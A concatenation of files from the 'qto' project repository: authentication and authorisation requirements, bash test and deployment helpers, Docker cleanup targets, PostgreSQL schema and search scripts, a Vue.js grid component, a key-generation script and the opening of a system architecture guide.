unnecessary complexity caused by the security aspects of the application. #### 10.1.2. Simple Native authentication mode All registered users should have access to all but users related data. If a user is not registered the error msg to the login should prompt him which e-mail to contact to be registered ( which will be the e-mail of the product owner instance ). If the admin user is able to impersonate another user it must simply mean that he/she has done that on purpose ( aka maliciously ) The sessions of different dev, tst and prod app layer instances should not intermix within the multiple open processes / threads of the same browser of the same user. ##### 10.1.2.1. User email and password matching for login success Users should login with email and password. Users' names and other personal data MUST NOT be tracked by the application. Unregistered users should have access to the login page only. ##### 10.1.2.2. The passwords must NOT be stored in clear text The application must match the passwords via blowfish encryption and store the authentication details into the session of default of 10h. ##### 10.1.2.3. name ... ##### 10.1.2.4. Passwords sensibility The regular users should see only their credentials. Only the admin user should see all the users credentials , but with the passwords encrypted. #### 10.1.3. RBAC authentication mode via JWT The qto application should support native web tokens based authentication, by using as login a valid user e-mail and password, stored in the qto instance database. The qto should support SSO authentication as described in the following RFC's. The Users should be authenticated by means of the most simplest OAauth2.0 authentication flow: https://tools.ietf.org/html/rfc6749#section-5.1 ##### 10.1.3.1. Login The login must be done against email and password over https. Should the email and the pass not match, a 401 http code ( UnAuthorised ) must be returned. ##### 10.1.3.2. Must be stateless and thus horizontally scalable The JSON web token authentication must be stateless to enable both process ( aka run-time ) and hosts scalability. The JWT must be signed with private key against tampering. Token verification must be done without db lookup and only in-memory. ##### 10.1.3.3. Must not use permanent cookies Because permanent cookies might be hacked by js scripts which are running in the same browser instance ... Must use HttpOnly cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies ##### 10.1.3.4. Must not use localStore, but Authorisation header But rather some combination of httpOnly session and JWT , same-origin Than CORS will not be an issue - https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS , must stay operational even if. ##### 10.1.3.5. Must have arymetric signature The JSON web tokens must be viewable from the other parties by . Must support public and private key decoding ##### 10.1.3.6. The tokens must be self-contained The tokens must be self-contained, i.e. the token must carry all the user data needed for the authorisation in is payload, but MUST not expose the site to XSS. The tokens must be set in the Authorisation header. ##### 10.1.3.7. Tokens expiration The tokens could request refresh tokens once the expiration time is close. ##### 10.1.3.8. Must support whitelisting Whitelisting is the practice of explicitly allowing some identified entities access to a particular privilege, service, mobility, access or recognition. A qto admin must be able to revoke access to user token or by username or by token id. ##### 10.1.3.9. Must support black-listing Blacklisting is the action of a group or authority, compiling a blacklist (or black list) of people, countries or other entities to be avoided or distrusted as not being acceptable to those making the list.[1] A blacklist can list people to be discriminated against, refused employment, or censored. A qto admin must be able to revoke access from specific users and specific user tokens. ### 10.2. Authorisation The Qto application should have authorisation as described in the RFC 6749. #### 10.2.1. QTO_NO_AUTH mode authorisation There must be no authorisation in the non-authentication mode - everyone must be allowed to do anything, including truncating tables etc. #### 10.2.2. Simple Native mode authorisation There must be almost no authorisation in the Simple Native mode authorisation mode - everyone must be allowed to do anything, including truncating tables etc. except actions on the users table. #### 10.2.3. RBAC mode authorisation ##### 10.2.3.1. Role-based Access Control The Access Control in the qto application in the RBAC mode authorisation mode must be role-based. The application must authorise the usage of resources based on fully configurable per role , per resource , per route. ##### 10.2.3.2. Authorisation via Json Web Tokens during login The application must create JWT during login which will must be signed with a private key and will contain the minimum set of claims to support the Roles-Based Access Control. ##### 10.2.3.3. Roles based Access Control list for routes and items The application must provide the means for project owners to define who has access to what resources and why via a centralised UI. ##### 10.2.3.4. Role Based Access Control on tables row level The application must provide a revocable traditional permissions model for tables on table rows level. The "non-enforceable" means that no overhead work must be enforced on organisations not-using the model at all. ##### 10.2.3.5. Support for segregation of duties The application must support segregation of duties during deployment, that is the team which delivers the new software version / configuration change must be able to trigger the deployment to production without actually having access to the production data. #### 10.2.4. Role level based security The qto must support row level based security : https://www.postgresql.org/docs/current/ddl-rowsecurity.html ## 11. DOCUMENTATION ### 11.1. Documentation completeness Each running instance MUST have the following documentation set : - End User Guide - Installation and Configuration Guide doc - DevOps Guide doc - Requirements doc - System Guide doc - UserStories doc - Maintenance and Operations Guide doc in the following formats: - native qto view-doc page format ( as soon as the instance is up-and-running ) - md format - as soon as the source code is downloaded ### 11.2. Documentation and code base synchronization Each running instance MUST have its required documentation set up-to-date for it's release version. No undocumented or hidden features are allowed. Should any be missing or misreported a new issue must be created to correct those with top priority. #### 11.2.1. Requirements push Whenever a project database meta-data is updated a new "do reload the current page" should be pushed on all the clients having currently session in the application … <file_sep># src/bash/qto/funcs/check-perl-syntax.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestCheckPerlSyntax comments ... # --------------------------------------------------------- doTestCheckPerlSyntax(){ do_log "DEBUG START doTestCheckPerlSyntax" cat doc/txt/qto/tests/perl/check-perl-syntax.test.txt sleep "$sleep_interval" bash src/bash/qto/qto.sh -a check-perl-syntax exit_code=$? do_log " check-perl-syntax-1 exit_code: $exit_code " sleep "$sleep_interval" test $exit_code -ne 0 && return do_log "DEBUG STOP doTestCheckPerlSyntax" } # eof func doTestCheckPerlSyntax # eof file: src/bash/qto/funcs/check-perl-syntax.test.sh <file_sep>#!/usr/bin/env bash clear ; ./src/bash/qto/qto.sh -a unscramble-confs <file_sep># src/bash/qto/funcs/backup-postgres-db.test.sh doTestBackupPostgresDb(){ do_log "DEBUG START doTestBackupPostgresDb" # Action !!! bash src/bash/qto/qto.sh -a backup-postgres-db sleep "$sleep_interval" # there should be at least one file in the current daily dir which is not older than while read -r f; do count=$(( count + 1 )) done < <(find $mix_data_dir/`date "+%Y"`/`date "+%Y-%m"`/`date "+%Y-%m-%d"`/sql/$postgres_app_db -name '*full.dmp.sql' -mmin -1) if [ $count -lt 1 ]; then msg="db dump files are not found !!!" export exit_code=1 ; do_exit "$msg"; exit 1 ; fi msg="at least one db dump file was created" test $exit_code -ne 0 && return do_log "DEBUG STOP doTestBackupPostgresDb" } # eof func doTestBackupPostgresDb # eof file: src/bash/qto/funcs/backup-postgres-db.test.sh <file_sep>.PHONY: do-prune-docker-system ## @-> stop & completely wipe out all the docker caches for ALL IMAGES !!! do-prune-docker-system: @clear -docker kill $$(docker ps -q) -docker rm $$(docker ps -aq) docker image prune -a -f docker builder prune -f -a docker system prune --volumes -f <file_sep># src/bash/qto/funcs/change-version.help.sh # v1.0.9 # --------------------------------------------------------- # todo: add doHelpChangeVersion comments ... # --------------------------------------------------------- doHelpChangeVersion(){ do_log "DEBUG START doHelpChangeVersion" cat doc/txt/qto/helps/change-version.help.txt sleep 2 # add your action implementation code here ... do_log "DEBUG STOP doHelpChangeVersion" } # eof func doHelpChangeVersion # eof file: src/bash/qto/funcs/change-version.help.sh <file_sep>#!/usr/bin/env bash #------------------------------------------------------------------------------ # increase or decrease the version of the product # clone the <<base_dir>>/app_name/a # bash src/bash/qto/qto.sh -a to-app=<<new_app>> #------------------------------------------------------------------------------ doCloneToApp(){ tgt_app="$1" prefix='to-app=' tgt_app=${tgt_app#$prefix} tgt_environment_name=$(echo $environment_name | perl -ne "s/$RUN_UNIT/$tgt_app/g;print") tgt_environment_name=$(echo $tgt_environment_name | perl -ne "s/$product_version/0.0.0/g;print") tgt_environment_name=$(echo $tgt_environment_name | perl -ne "s/$ENV/dev/g;print") tgt_product_dir=$product_base_dir/$tgt_app tgt_PRODUCT_DIR=$tgt_product_dir/$tgt_environment_name mkdir -p $tgt_PRODUCT_DIR [[ $? -eq 0 ]] || do_exit 2 "ERROR :: cannot create the tgt_PRODUCT_DIR: $tgt_PRODUCT_DIR !" # remove everything from the tgt product version dir - no extra files allowed !!! rm -fvr $tgt_PRODUCT_DIR # if the removal failed exit with error msg [[ $? -eq 0 ]] || do_exit 2 "ERROR :: cannot write to $tgt_PRODUCT_DIR !" doCreateRelativePackage unzip -o $zip_file -d $tgt_PRODUCT_DIR to_srch=$RUN_UNIT to_repl=$tgt_app #-- search and replace in file names find "$tgt_PRODUCT_DIR/" -type d |\ perl -nle '$o=$_;s#'"$to_srch"'#'"$to_repl"'#g;$n=$_;`mkdir -p $n` ;' find "$tgt_PRODUCT_DIR/" -type f |\ perl -nle '$o=$_;s#'"$to_srch"'#'"$to_repl"'#g;$n=$_;rename($o,$n) unless -e $n ;' find $tgt_PRODUCT_DIR -exec file {} \; | grep text | cut -d: -f1| { while read -r file_to_edit ; do ( perl -pi -e "s#$to_srch#$to_repl#g" "$file_to_edit" ); done ; } # on cygwin the perl -pi leaves backup files => remove them find $tgt_PRODUCT_DIR -type f -name '*.bak' | xargs rm -fv cp -v $zip_file $tgt_PRODUCT_DIR } <file_sep>-- \echo 'If necessary, perform -- DROP TABLE IF EXISTS app_user_roles;' -- \echo '2. Creating the app_user_roles table' CREATE TABLE app_user_roles ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , app_users_guid UUID NOT NULL DEFAULT '2660a6e9-9e6b-4faa-8264-27a92872657b' , app_roles_guid UUID NOT NULL DEFAULT '71eea083-d818-4557-89fe-29eb950881ab' , name varchar (100) NOT NULL DEFAULT 'Role name' , description varchar (200) NULL DEFAULT '' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_app_user_roles_guid PRIMARY KEY (guid) ); CREATE UNIQUE INDEX idx_app_user_roles_uniq_id ON app_user_roles (id); -- \echo 'If necessary, perform ALTER TABLE public.app_user_roles -- DROP CONSTRAINT fk_app_users_guid;' ALTER TABLE public.app_user_roles ADD CONSTRAINT fk_app_users_guid FOREIGN KEY (app_users_guid) REFERENCES app_users(guid) ON DELETE CASCADE; ; ALTER TABLE public.app_user_roles ADD CONSTRAINT fk_app_roles_guid FOREIGN KEY (app_roles_guid) REFERENCES app_roles(guid) ON DELETE CASCADE; ; -- \echo 'List columns of the created table app_user_roles'); SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid='public.app_user_roles'::regclass AND attnum>0 ORDER BY attnum; -- \echo 'Update time on every EXECUTE trigger:' CREATE TRIGGER trg_set_update_time_on_app_user_roles BEFORE UPDATE ON app_user_roles FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid='app_user_roles'::regclass; -- -- TOC entry 3355 (class 0 OID 137804) -- Dependencies: 282 -- Data for Name: app_user_roles; Type: TABLE DATA; Schema: public; Owner: usrdevqtoadmin -- COPY public.app_user_roles (guid, id, app_users_guid, app_roles_guid, name, description, update_time) FROM stdin; 6f036963-52cc-4d49-ae36-984c75d14bb2 200411160810 2660a6e9-9e6b-4faa-8264-27a92872657c 71eea083-d818-4557-89fe-29eb950881ad trd must be reader Test reader user has reader role 2020-05-01 21:13:48 0fb84503-0d7a-4cdc-889b-4e4a8f6aac53 200410220814 2660a6e9-9e6b-4faa-8264-27a92872657d 71eea083-d818-4557-89fe-29eb950881ac ted must be editor Test editor user has editor role 2020-05-01 21:14:01 460cc595-7db7-4211-a271-d825b3801d1e 200224195828 2660a6e9-9e6b-4faa-8264-27a92872657b 71eea083-d818-4557-89fe-29eb950881ab tau must be anonymous Test anonymous user has anonymous role 2020-05-01 21:14:11 472cbd25-d8a5-4828-85f3-556387aea673 200502001551 9426c566-0abd-4028-830f-82ed9f91d262 71eea083-d818-4557-89fe-29eb950881aa pio must be product instance owner Test product instance owner has instance owner role 2020-05-01 21:19:21 \. <file_sep>#v1.0.7 #------------------------------------------------------------------------------ # cleans the unneeded during after run-time stuff #------------------------------------------------------------------------------ doPrintHelp(){ doSetVars do_flush_screen test -z $target_dir && target_dir='<<target_dir>>' cat <<END_HELP #------------------------------------------------------------------------------ ## START HELP `basename $0` #------------------------------------------------------------------------------ `basename $0` is a the minimalistic scala console stub app to start writing scala `basename $0` is is also an utility script with the goodies listed below: # go get this help, albeit you knew that already ... bash $0 -h or bash $0 --help 5. this will create the deployment package into your production version dir: $product_dir if you have configured the network_backup_dir in cnf file it will be also copied #-------------------------------------------------------- bash $0 -a create-deployment-package You must specify the files to be be included in the full package from the met/qto.dev file 6. to create a relative package this will create the relative package into your production version dir: $product_dir if you have configured the network_backup_dir in cnf file it will be also copied #-------------------------------------------------------- bash $0 -a create-relative-package You must specify the files to be be included in the full package from the met/qto.dev file 4. to clone the same version of your product into dev,tst,prd enviroments #-------------------------------------------------------- bash $0 -a to-dev bash $0 -a to-tst bash $0 -a to-qas bash $0 -a to-prd 5. to clone the product into a different version #-------------------------------------------------------- bash $0 -a to-ver=0.1.1 6. to create the tags file in the \$product_dir : $product_dir #-------------------------------------------------------- sh $0 -a create-ctags 9. to save your current tmux session run the following command #-------------------------------------------------------- sh $0 -a save-tmux-session #------------------------------------------------------------------------------ ## INSTALLATION #------------------------------------------------------------------------------ Installation is as simple as unzip -o <<full_package>> -d <<desired_base_dir>> where <<full_package>> should look like: qto.0.0.2.prd.20160702_181412.ysg-host-name.zip and <<disired_base_dir>> could be /tmp , /opt/ , /var , /even/longer/path The required binaries for the $RUN_UNIT are: - perl If you want to use the vim's jump to tag function you would have to install also: - ctags #------------------------------------------------------------------------------ ## FOR DEVELOPERS #------------------------------------------------------------------------------ `basename $0` is an utility script having the following purpose to provide an easy installable starting template for any app based on the following philosophy: - there is a huge difference between a software product and a running instance - the running istance is properly configured it usually belongs to dev , tst prd environments - different version of the same software product might or might not require different binaries - if two instances of the same product having different versions can operate on the same host simultaniously - in $RUN_UNIT this ability to run multiple versions in multiple environments under even different *Nix users is in-built - any custom software should be installed and run from a base dir: $base_dir with the following functionalities: - printing help with cmd switch -h ( verify with doTestHelp in test-sh ) - prints the set in the script variables set during run-time - separation of host specific vars into separate configuration file : <<wrap_bash_dir>>/<<RUN_UNIT>>.<<MyHost>>.cnf $ini_file - thus easier enabling portability between hosts - logging on terminal and into configurable log file set now as: $log_file - for loop examples with head removal and inline find and replace - cmd args parsing - doSendReport func to the tail from the log file to pre-configured emails - support for parallel run by multiple processes - each process uses its own tmp dir Note the help is quite long - you might want to use the less page : `basename $0` --help \| less #------------------------------------------------------------------------------ ## STOP HELP `basename $0` #------------------------------------------------------------------------------ END_HELP } #eof doPrintHelp <file_sep>-- start src: http://rachbelaid.com/postgres-full-text-search-is-good-enough/ -- build the document /* SELECT to_tsvector(name) || to_tsvector(description) as document FROM monthly_issues ; */ -- search SELECT id, 'monthly_issues' as table_name , name , ts_rank(to_tsvector(name || description), to_tsquery('search')) as relevancy FROM monthly_issues WHERE 1=1 AND ts_rank(to_tsvector(name || description), to_tsquery('search')) <> 0 UNION SELECT id, 'yearly_issues' as table_name , name , ts_rank(to_tsvector(name || description), to_tsquery('search')) as relevancy FROM yearly_issues WHERE 1=1 AND ts_rank(to_tsvector(name || description), to_tsquery('search')) <> 0 ORDER BY relevancy desc ; -- stop src: http://rachbelaid.com/postgres-full-text-search-is-good-enough/ /* SELECT setweight(to_tsvector('english', COALESCE(name,'')), 'A') || setweight(to_tsvector('english', COALESCE(description,'')), 'A') FROM monthly_issues ; DROP MATERIALIZED VIEW mvw_monthly_issues ; CREATE MATERIALIZED VIEW mvw_monthly_issues AS SELECT id, to_tsvector(concat_ws(' ', name, description)) AS tsv_monthly_issues FROM monthly_issues ; SELECT * FROM mvw_monthly_issues WHERE tsv_monthly_issues @@ plainto_tsquery('search') ; */ /* SELECT to_tsvector('english', name || description) FROM monthly_issues */ ; /* WITH q AS ( SELECT plainto_tsquery('English', 'create') AS query ), d AS ( SELECT (name || ' ' || description) AS document FROM monthly_issues ), t AS ( SELECT to_tsvector('English', d.document) AS textsearch FROM d ), r AS ( SELECT ts_rank_cd(t.textsearch, q.query) AS rank FROM t, q ) SELECT monthly_issues.name , ts_headline('English', d.document, q.query) AS matches FROM monthly_issues, q, d, t , r WHERE q.query @@ t.textsearch ORDER BY r.rank DESC LIMIT 5; */ <file_sep>-- DROP TABLE IF EXISTS meta_cols ; -- OBS - this is NOT THE app_item_columns table -- use this one to populate meta data from different dbs ... just like data ... SELECT 'create the "meta_cols" table' ; CREATE TABLE meta_cols ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , table_name varchar (100) NOT NULL DEFAULT 'src_table_name...' , prio integer NOT NULL DEFAULT 1 , ordinal_number integer NOT NULL DEFAULT 1 , src_table_name varchar (100) NOT NULL DEFAULT 'src_table_name...' , tgt_table_name varchar (100) NOT NULL DEFAULT 'tgt_table_name...' , name varchar (100) NOT NULL DEFAULT 'col-name...' , json_file varchar (100) NOT NULL DEFAULT 'json_file...' , json_expression varchar (100) NOT NULL DEFAULT 'json_expression...' , description varchar (4000) , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_meta_cols_guid PRIMARY KEY (guid) , CONSTRAINT uc_table_column unique (table_name, name) ) WITH ( OIDS=FALSE ); create unique index idx_uniq_meta_cols_id on meta_cols (id); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.meta_cols'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; CREATE TRIGGER trg_set_update_time_on_meta_cols BEFORE UPDATE ON meta_cols FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'meta_cols'::regclass; <file_sep>// Define a new component called button-counter Vue.component('btn-new', { data: function () { return { count: 0 } }, methods: { clickedBtnNew() { function pad2(n) { return n < 10 ? '0' + n : n } var date = new Date(); var dbid = date.getFullYear().toString().substr(2,3) + pad2(date.getMonth() + 1) + pad2( date.getDate()) + pad2( date.getHours() ) + pad2( date.getMinutes() ) + pad2( date.getSeconds() ); console.log ( "clicked with id: " + dbid) this.$emit('clickedBtnNew',dbid) } }, template: `<button v-on:click="clickedBtnNew()">create new</button>` }) // register the editable Vue.component('editable', { template: ` <div v-bind:id="id" contenteditable="true" @blur="emitChange"> {{ content }} </div> `, props: ['content','id'], methods: { emitChange (ev) { this.$emit('update', ev.target.textContent,ev.target.id) } } }) // register the grid component Vue.component('demo-grid', { template: '#grid-template', props: { data: Array, columns: Array, filterKey: String }, data: function () { var sortOrders = {} this.columns.forEach(function (key) { sortOrders[key] = 1 }) return { sortKey: '', sortOrders: sortOrders } }, computed: { filteredData: function () { var sortKey = this.sortKey var filterKey = this.filterKey && this.filterKey.toLowerCase() var order = this.sortOrders[sortKey] || 1 var data = this.data if (filterKey) { data = data.filter(function (row) { return Object.keys(row).some(function (key) { return String(row[key]).toLowerCase().indexOf(filterKey) > -1 }) }) } if (sortKey) { data = data.slice().sort(function (a, b) { a = a[sortKey] b = b[sortKey] return (a === b ? 0 : a > b ? 1 : -1) * order }) } return data } }, filters: { capitalize: function (str) { return str.charAt(0).toUpperCase() + str.slice(1) } }, methods: { sortBy: function (key) { this.sortKey = key this.sortOrders[key] = this.sortOrders[key] * -1 }, updateItem (content,id) { var arr = id.split('-') var col = arr[0] var dbid = arr[1] console.log ( "new content: " + content ) console.log ( "column: " + arr[0] ) console.log ( "dbid: " + arr[1] ) console.log ( "should run: UPDATE monthly_issues set " + col + " = '" + content + "' WHERE id='" + dbid + "'" ) console.log ( "/dev_qto/update/monthly_issues?pick=id" + arr[1] ) axios.post('/dev_qto/update/monthly_issues', { attribute: col, id: dbid }) .then(function (response) { console.log(response); }) .catch(function (error) { console.log(error); }); }, createNewItem (dbid) { axios.post('/dev_qto/create/monthly_issues', { id: dbid }) .then(function (response) { console.log(response); }) .catch(function (error) { console.log(error); }); } } }) // bootstrap the demo var demo = new Vue({ el: '#demo', data: { searchQuery: '', gridColumns: ['id', 'name', 'prio','description'], gridData: [] }, mounted() { axios.get("/dev_qto/select/monthly_issues?pick=id,name,prio,description") .then(response => {this.gridData = response.data.dat }) }, }) <file_sep># file: src/bash/qto/funcs/remove-all-docker-containers.func.sh # v0.6.5 # --------------------------------------------------------- # remove all the docker containers on the host with warning # and inform if none exists # --------------------------------------------------------- doRemoveDockerContainers(){ do_flush_screen do_log "INFO START removing all docker containers with the $product_version.$ENV tag !!! " do_log "INFO Are you SURE ??!! You have 3 seconds to abort by Ctrl + C !!" sleep 3 ret=$(docker ps -a|grep -i qto-image.$ENV|awk '{print $1}'|wc -l| perl -ne 's/\s+//g;print') if test $ret -eq 0 then do_log "INFO No docker containers found. Nothing to do !!!" else do_log "INFO stopping containers ..." docker stop $(docker ps -a|grep -i qto-image:$product_version.$ENV|awk '{print $1}') sleep 1 do_log "INFO removing containers ..." docker rm $(docker ps -a|grep -i qto-image:$product_version.$ENV|awk '{print $1}') fi do_log "INFO STOP removing all docker containers" } <file_sep>#!/bin/bash do_create_ssh_keys(){ test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PRODUCT_DIR/cnf/env/$ENV.env.json" source $PRODUCT_DIR/lib/bash/funcs/export-json-section-vars.sh do_export_json_section_vars $PROJ_CONF_FILE '.env.aws' which expect || sudo apt-get update && sudo apt-get install -y expect for ENV in `echo dev tst prd`; do jwt_private_key_file=~/.ssh/qto.$ENV.jwtRS256.key jwt_public_key_file=~/.ssh/qto.$ENV.jwtRS256.key.pub echo << EOF_USING creating and using the following private and public key files for the Guardian's JWT's : $jwt_private_key_file $jwt_public_key_file EOF_USING test -f $jwt_private_key_file || ssh-keygen -t rsa -b 4096 -m PEM -f $jwt_private_key_file -N '' test -f $jwt_public_key_file && rm -v $jwt_public_key_file openssl rsa -in $jwt_private_key_file -pubout -outform PEM -out $jwt_public_key_file done; private_ssh_key_fpath_no_env=$(echo $private_ssh_key_fpath|rev|cut -c 5-|rev) private_ssh_key_fpath_no_env=$(eval echo $private_ssh_key_fpath_no_env) for ENV in `echo dev tst prd`; do test -f $private_ssh_key_fpath_no_env'.'$ENV || { ssh-keygen -q -t rsa -b 4096 -N '' -f $private_ssh_key_fpath_no_env.$ENV <<< ""$'\n'"y" 2>&1 >/dev/null } done } <file_sep># src/bash/qto/funcs/run-pgsql-scripts.test.sh doTestRunPgsqlScripts(){ do_log "DEBUG START doTestRunPgsqlScripts" test -z "$sleep_interval" || sleep "$sleep_interval" do_log "test the running of the sql scripts under the product instance dir" do_log "Action !!! " do_log "bash src/bash/qto/qto.sh -a run-pgsql-scripts" bash src/bash/qto/qto.sh -a run-pgsql-scripts exit_code=$? test $exit_code -ne 0 && do_exit $exit_code $exit_msg do_log "test the running of the sql scripts outside the product instance dir" do_log "with pre-set exported pgsql_scripts_dir var : aka export pgsql_scripts_dir=/tmp/qto" mkdir -p /tmp/qto cp -vr src/sql/pgsql/dev_pgsql_runner/* /tmp/qto/ export pgsql_scripts_dir=/tmp/qto do_log "Action !!! " do_log "bash src/bash/qto/qto.sh -a run-pgsql-scripts" bash src/bash/qto/qto.sh -a run-pgsql-scripts exit_code=$? do_log "DEBUG STOP doTestRunPgsqlScripts" } # eof file: src/bash/qto/funcs/run-pgsql-scripts.test.sh <file_sep>doSearchAndReplaceTokens(){ test -d $dir || dir=$PRODUCT_DIR/src/sql/ while read -r l ; do to_srch=$(echo $l|awk '{print $1}') to_repl=$(echo $l|awk '{print $2}') while read -r f ; do perl -pi -e "s/$to_srch/$to_repl/gm" $f done < <(find $dir -type f| grep -v search-and-replace-tokens.func.sh) # space or tabs do not mather - to search on the left, to replace on the right done < <(cat << EOF_WORDS meta_tables app_items meta_columns app_item_attributes meta_routes app_routes roles app_roles user_roles app_user_roles items_roles_permissions app_items_roles_permissions items_app_roles_permissions app_items_roles_permissions pg_app_roles pg_roles app_app_ app_ user_app_roles app_user_roles EOF_WORDS ) } # items app_items # item_attributes app_item_attributes # routes app_routes # roles app_roles # user_roles app_user_roles # items_roles_permissions app_items_roles_permissions # items_app_roles_permissions app_items_roles_permissions <file_sep># QTO SYSTEM GUIDE * [1. INTRO](#1-intro) * [1.1. PURPOSE](#11-purpose) * [1.2. AUDIENCE](#12-audience) * [2. THE INFORMATION SYSTEM AS CYBERNETIC ORGANISM ABSTRACTION](#2-the-information-system-as-cybernetic-organism-abstraction) * [2.1. THE QTO INFORMATION SYSTEM - DEFINITION](#21-the-qto-information-system--definition) * [2.2. INFORMATION SYSTEM - DIAGRAM](#22-information-system--diagram) * [3. THE QTO SYSTEM INFRASTRUCTURE](#3-the-qto-system-infrastructure) * [3.1. SYSTEM ARCHITECTURAL OVERVIEW BY SIWA DIA](#31-system-architectural-overview-by-siwa-dia) * [3.2. INFRASTRUCTURAL COMPONENTS](#32-infrastructural-components) * [3.2.1. End-user clients](#321-end-user-clients) * [3.2.2. Application Layer and databases hosted in AWS](#322-application-layer-and-databases-hosted-in-aws) * [3.2.3. Local Development and testing](#323-local-development-and-testing) * [3.2.4. Source code in GitHub](#324-source-code-in-github) * [4. ARCHITECTURE](#4-architecture) * [4.1. ICOCM ARCHITECTURE DEFINITION](#41-icocm-architecture-definition) * [4.1.1. The Control components](#411-the-control-components) * [4.1.2. The Model components](#412-the-model-components) * [4.1.3. The Input Components](#413-the-input-components) * [4.1.4. The Output Components](#414-the-output-components) * [4.1.5. The Conversion Components](#415-the-conversion-components) * [4.1.6. The Converter Components](#416-the-converter-components) * [4.2. MULTI-INSTANCE SETUP](#42-multi-instance-setup) * [4.2.1. Multi-environment naming convention](#421-multi-environment-naming-convention) * [4.3. SOFWARE ARCHITECTURE](#43-sofware-architecture) * [4.3.1. Front-End](#431-front-end) * [4.3.2. Back-End](#432-back-end) * [4.4. HOT META DATA RELOAD FUNCTIONALITY](#44-hot-meta-data-reload-functionality) * [5. FULL STACK DESCRIPTION](#5-full-stack-description) * [5.1. OS STACK](#51-os-stack) * [5.2. THE APPLICATION LAYER STACK](#52-the-application-layer-stack) * [5.2.1. Perl](#521-perl) * [5.2.2. The perl modules](#522-the-perl-modules) * [5.3. THE MOJOLICIOUS WEB FRAMEWORK](#53-the-mojolicious-web-framework) * [5.4. THE BROWSER RUN-TIME](#54-the-browser-run-time) * [5.4.1. HTML 5](#541-html-5) * [5.4.2. JavaScript ](#542-javascript-) * [5.4.2.1. Vue](#5421-vue) * [6. APPLICATION CONTROL FLOW ](#6-application-control-flow-) * [6.1. SHELL CONTROL FLOW](#61-shell-control-flow) * [6.1.1. Front-End](#611-front-end) * [6.1.2. Back-End](#612-back-end) * [7. SECURITY](#7-security) * [7.1. NON-SECURITY MODE](#71-non-security-mode) * [7.2. SIMPLE NATIVE SECURITY MODE](#72-simple-native-security-mode) ## 1. INTRO ### 1.1. Purpose The purpose of this guide is to provide description of the qto system and application architecture. ### 1.2. Audience Target audience of this document is comprised of the architects and System designers of a potential or current system, comprised on deployed and operating qto instances. Developers and devops operators. ## 2. THE INFORMATION SYSTEM AS CYBERNETIC ORGANISM ABSTRACTION This section is essential for you to understand the very basic motives and principles behind the design of the qto applications and systems. <NAME> stated in several interviews, that any organisation might be viewed as a cybernetic organism, ran to a certain degree by an Artificial Intelligence Instance... Qto has nothing to do with the modern AI definition, yet it's design is inspired by this cybernetic organism or biome metaphor. ### 2.1. The qto Information System - definition There are multiple definitions for "Information System" - most of those apply to the qto information system, yet the following definition provides additional content, which might not necessary be applicable to any other non-qto IS. The qto information system is the interactive combination of the people , processes & policies, hardware & networks , source code, binaries, configuration and data managed by any running instance of the qto application. ### 2.2. Information System - diagram The following diagram depicts the mention above definition. ## 3. THE QTO SYSTEM INFRASTRUCTURE This section describes the current system infrastructure. ### 3.1. System architectural overview by SIWA dia The following diagram implements the Simplest Possible Way of describing Architecture principle - it's sole purpose is to quickly provide an overview of the existing infrastructure built with the help of the qto application as well as provide visual tool for communication related to thejyot application. ### 3.2. Infrastructural components #### 3.2.1. End-user clients The end-users can access any qto application via their browsers. All of the functionalities are available in mobile browsers ( smart-phones or tablets not older than 2 years) #### 3.2.2. Application Layer and databases hosted in AWS Both the application layer and the database(s) are hosted on the same amazon ec2 host ( this will change in the future, as the architecture supports databases hosting in RDS or in separate hosts with TCP data channel) #### 3.2.3. Local Development and testing The development and testing are done in an ubuntu 18.04 vm running on top of mac - the binary configuration for the vm in described in the bootstrap script. You could also develop and test in other Unix-like OS('s) - GentOs, MacOS etc, as long as you could figure out how-to install and provision postgres , the required OS binaries and the Perl modules for the application layer, as the provided deployment script has been aimed and tested only for the latest Ubuntu LTS. #### 3.2.4. Source code in GitHub The source code for the qto project is hosted in GitHub with the most open licensing possible: https://github.com/YordanGeorgiev/qto ## 4. ARCHITECTURE ### 4.1. ICOCM architecture definition The Input-Output Control Model architecture is and application architecture providing the highest possible abstraction for almost any software artefact, by dividing its main executing components based on their abstract responsibilities - Input, Conversion, Output , Control and Model. #### 4.1.1. The Control components The Control components control the control flow in the application. The instantiate the Models and pass them to the Readers , Converters and Writers for output. #### 4.1.2. The Model components The model components model the global DATA of the application - that is no configuration, nor control flow nor anything else should be contained within the model. Should you encounter data, which is not modelled yet , you should expand the Model and NOT provide different data storage and passing techniques elsewhere in the code base ... #### 4.1.3. The Input Components The Input Components are generally named as "Readers". Their responsibility is to read the application data into Model(s). #### 4.1.4. The Output Components The Output Components are generally named as "Writers" Their responsibility is to write the already processed data from the Models into the output media . #### 4.1.5. The Conversion Components The Conversion components are generally called "converters". Their responsibility is to convert from one run-time data structure to another. #### 4.1.6. The Converter Components The Converters apply usually the business logic for converting the input data from the Models into the app specific data back to the Models. ### 4.2. Multi-instance setup The multi-instance setup refers to the capability of any installed and setup instance of the qto application to "know" its version , environment type - development , testing and production ) and owner. #### 4.2.1. Multi-environment naming convention Each database used by the qto application has an &lt;&lt;environment abbreviation&gt;&gt; suffix referring to its environment type. Running application layers against different db versions should be supported as much as possible. ### 4.3. Sofware architecture #### 4.3.1. Front-End The Mojolicious Web Framework runs on top of a perl instance, which serves the back-end requests and passes back and forth json, as well as the ui Mojo templates dynamically, which combined with the vue template create the generic ui. #### 4.3.2. Back-End The id's of the tables which ARE 